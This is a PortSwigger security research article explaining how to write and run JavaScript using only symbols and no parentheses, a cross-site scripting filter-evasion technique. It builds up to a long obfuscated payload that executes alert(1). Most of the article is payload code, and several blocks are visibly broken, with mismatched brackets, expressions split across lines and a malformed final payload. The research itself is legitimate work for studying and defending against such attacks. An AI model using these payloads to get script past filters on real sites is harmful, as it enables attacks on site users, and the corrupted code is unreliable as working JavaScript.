portswigger.net

Executing non-alphanumeric JavaScript without parenthesis

Gareth Heyes

8-11 minutes

- **Published:** 15 July 2016 at 15:48 UTC
- **Updated:** 02 July 2020 at 12:05 UTC
-

I decided to look into non-alphanumeric JavaScript again and see if it was possible to execute it without parenthesis. A few years ago I did a presentation on non-alpha code if you want some more information on how it works take a look at the slides. Using similar techniques we were able to hack Uber.

A few things have changed in the browser world since the last time I looked into it, the interesting features are template literals and the find function on the array object. Template literals are useful because you can call functions without parenthesis and the find function can be generated using "undefined" and therefore is much shorter than the original method of "filter".

The basis of non-alpha involves using JavaScript objects to generate strings that eventually lead to code execution. For

example +[] creates zero in JavaScript, [][[]] creates undefined. By converting objects such as undefined to a string like this [[][[]]+[]][+[]] then we can reuse those characters and get access to other objects. We need to call the constructor property of a function if we want to call arbitrary code, like this [].find.constructor('alert(1)')().

So the first task is to generate the string "find", we need to generate numbers in order to get the right index on the string undefined. Here's how to generate the number 1.

```
+!+[]//1
```

Basically the code creates zero ! flips it true because 0 is falsey in JavaScript, then + is the infix operator which makes true into 1. Then we need to create the string undefined as mentioned above and get 4th index by add those numbers together. To produce "f".

```
[][[]]+[][+[]][!+[]+!+[]+!+[]+!+[]]//f
```

Then we need to do the same thing to generate the other letters increasing/decreasing the index.

```
[][[]]+[][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]//i
[][[]]+[][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]]//n
[][[]]+[][+[]][!+[]+!+[]]//d
```

Now we need to combine the characters and access the "find" function on an array literal.

```
[][[][[]]+[][+[]][!+[]+!+[]+!+[]+!+[]]+
[][[]]+[][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+
[][[]]+[][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]]+[][[]]+[][+[]][!+[]+!+[]]]//find function
```

This gives us some more characters to play with, the find function's toString value is function find() {[native code]}, the important character here is "c". We can use the code above to get the find function and convert it to a string then get the relevant index.

```
[[][[[][]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]]
[!+[]+!+[]+!+[]]//c
```

Now we continue and get the other characters of "constructor" using "object", true and false and converting them to strings.

```
[[]+{}][+[]][+!+[]]//o
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]]//n
[![]+[]][+[]][!+[]+!+[]+!+[]]//s
[!![]+[]][+[]][+[]]//t
[!![]+[]][+[]][+!+[]]//r
[[][[]]+[]][+[]][+[]]//u
[[][[[][]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]]
[!+[]+!+[]+!+[]]//c
[!![]+[]][+[]][+[]]//t
[[]+{}][+[]][+!+[]]//o
[!![]+[]][+[]][+!+[]]//r
```

It's now possible to access the Function constructor by getting the constructor property twice on an array literal. Combine the

characters above to form "constructor", then use an array literal []['constructor']['constructor'] to access the Function constructor.

```
[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+
[]]+[][[[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+
[]]+[][[[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+
[]+!+[]]+[][[[]]+[]][+[]][!+[]+!+[]]]+[]]
[+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+
[][[[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]]
[+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]]
[+[]][+[]]+[[][[][[]]+[]][+[]][!+[]+!+
[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+
[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+
[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+
[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+
[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]
[[][[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+
[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+
[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]]
[!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[]
[[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+
[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+
[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+
[]]+[[][[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+
[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+
[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+
[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]]
[+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+
{}][+[]][+!+[]]+[!![]+[]][+[]]
```

```
[+!+[]]]//Function
```

Now we need to generate the code we want to execute in this case alert(1), true and false can generate alert. then we need the parenthesis from the [].find function.

```
[!{}+[][+[]][+!+[]]//a
[!{}+[][+[]][+!+[]+!+[]]//l
[!{}+[][+[]][+!+[]+!+[]+!+[]+!+[]]//e
[!![]+[][+[]][+!+[]]//r
[!![]+[][+[]][+[]]//t
[[][[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]]
[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]+!+[]+!+[]+!+[]+!+[]+!+[]//(
+!+[]//1
[[][[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]]
[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]//)
```

That's the code generated now we need to execute it. Template literals will call a function even if it's an expression this allows you to place them next to each other and is very useful for non-alpha code. The Function constructor returns a function and actually needs to be called twice in order to execute the code. E.g Function`alert(1)``` this is perfectly valid JavaScript. You might think you can just pass a generated string inside a template literal and execute the Function constructor however

this won't quite work as demonstrated by the following code alert`${'ale'+'rt(1)'}`. The template literals pass each part of the string as an argument, if you place some text before and after the template literal expression then you'll see two arguments are sent to the calling function, the first argument contains the text before and after the template expression separated by a comma and the second argument contains the result of the template literal expression. Like the following code demonstrates:

```
function x(){
alert(arguments[0]);alert(arguments[1])  }
x`x${'ale'+'rt(1)'}x`
```

All that's left to do is pass our generated Function constructor to a template literal and instead of using "x" as above we use "$" at either side of the template literal expression. This creates two unused arguments for the function. The final code is below.

```
[][[]][[]][[]]+[]][+[]][!+[]+!+[]+!+[]+!+
[]]+[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+
[]]+[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+
[]+!+[]]+[][[]]+[]][+[]][!+[]+!+[]]]+[]]
[+[]][!+[]+!+[]+!+[]]+[]+{}][+[]][+!+[]]+
[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]]
[+[]][+[]]+[!![]+[]][+[]][+!+[]]+[][[]]+[]]
[+[]][+[]]+[][[][[]]+[]][+[]][!+[]+!+
[]+!+[]+!+[]]+[][[]]+[]][+[]][!+[]+!+[]+!+
[]+!+[]+!+[]]+[][[]]+[]][+[]][!+[]+!+[]+!+
[]+!+[]+!+[]+!+[]]+[][[]]+[]][+[]][!+[]+!+
[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+
[]]+[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]
[[][[]][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+
```

```
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]]
[!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[]
[[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+
[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+
[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+
[]]+[[][[]][[]]+[]][+[]][!+[]+!+[]+!+[]+!+
[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+
[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+
[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]]
[+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+
{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]`$${[!
{}+[]][+[]][+!+[]]+[!{}+[]][+[]][+!+[]+!+[]]+
[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]+[!![]+
[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]+[[][[]
[[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+
[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+
[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[]
[[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+
[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]+!+[]+!+[]+!+[]]+[+!+[]][+[]]+[[][[][[]]+[]]
[+[]][!+[]+!+[]+!+[]+!+[]]+[]][+[]]
[!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]]
[!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]]+[]]
[+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+
[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]+!+[]+!+[]]}$```//Function(alert(1))
```

[Back to all articles]